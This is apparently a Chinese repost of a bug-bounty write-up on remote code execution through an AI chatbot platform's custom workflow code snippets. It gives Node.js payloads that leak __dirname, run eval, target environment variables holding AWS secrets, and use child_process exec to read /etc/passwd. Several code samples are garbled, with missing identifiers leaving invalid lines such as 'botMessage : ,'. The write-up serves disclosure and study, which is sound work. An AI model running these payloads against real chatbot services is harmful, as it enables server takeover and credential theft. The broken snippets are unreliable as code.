【网络安全】探索AI 聊天机器人工作流程实现RCE

时间:2024-10-28 07:58:16

未经许可,不得转载。

文章目录

      • 前言
      • 正文

前言

我发现了一个广泛使用的AI聊天机器人平台中的远程代码执行漏洞。该漏洞存在于聊天机器人的自定义工作流响应代码中,这些工作流允许开发人员通过创建定制的流程来扩展机器人的功能。

正文

在浏览自动化聊天机器人的多个特定功能时,其中一个引起我注意的功能是“Start from scratch”选项,如下所示:

img

此“Start from scratch”选项包含多个用于定制聊天机器人自动化的选项,例如:工作流、Webhooks和自定义代码片段,如下图所示:

img

查看其余选项后,我开始探索“运行代码片段”选项。

该功能包含可自定义的代码,用于从聊天机器人获取自定义响应。例如,responseJson函数有一个默认值为“Hello World”的botMessage参数。

默认代码片段如下:

const responseJson = {
  botMessage: "Hello world",
  responseExpected: false
}
  • 1
  • 2
  • 3
  • 4

也就是定义了返回的消息和是否期待进一步响应的默认设置。

由于聊天机器人是使用 Node 框架构建的,我尝试获取/检查全局变量的响应,例如 __dirname__filename,并尝试在“Hello World”位置执行像 eval(7*7) 这样的函数。

以下是使用全局变量以及聊天机器人响应的代码示例:

const responseJson = { 
botMessage : __dirname,
responseExpected : false
 }
  • 1
  • 2
  • 3
  • 4

img

可以看到,我在聊天机器人中得到了“/var/task”作为输出,这意味着全局变量 __dirname 在内部成功执行,并且我们得到了正确的输出。

同理:

const responseJson = { 
botMessage : __filename,
responseExpected : false
 }
  • 1
  • 2
  • 3
  • 4

img

输出“ /var/task/ ”。

同理:

const responseJson = { 
botMessage:eval(7 * 7),
responseExpected:false
 }
  • 1
  • 2
  • 3
  • 4

img

输出49。

接下来我想提高漏洞危害,于是我开始查看 Nodejs 官方文档,并找到了更多全局变量/对象来检查是否存在更多数据泄漏(官方文档:/api/#process)。

例如 () 、 () 、 ()

1、

const responseJson = { 
botMessage :  , 
responseExpected : false
 }
  • 1
  • 2
  • 3
  • 4

img

检查环境变量至关重要,因为它们有时会存储 AWS_SECRET 和 AWS_KEY。

2、

const responseJson = {
botMessage: ,
responseExpected: false
}
  • 1
  • 2
  • 3
  • 4

img

3、

const responseJson = { 
botMessage : , 
responseExpected : false
 }
  • 1
  • 2
  • 3
  • 4

img

4、()

const responseJson = {
botMessage: (),
responseExpected: false
}
  • 1
  • 2
  • 3
  • 4

img

5、经过多次尝试、调试后,我创建出一个完整的RCE Payload来获取 /etc/passwd 文件:

const { exec } = require('child_process');

 = (event, callback) => {
exec('head /etc/passwd', (error, stdout, stderr) => {
if (error) {
(exec error: ${error});
return;
}
if (stderr) {
(stderr: ${stderr});
return;
}

const responseJson = {
  botMessage: stdout,
  responseExpected: false
};

callback(responseJson);
});
};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

img

运行“ id ”命令:

img

原文出处:

/unveiling-remote-code-execution-in-ai-chatbot-workflows-3c7f633f63c3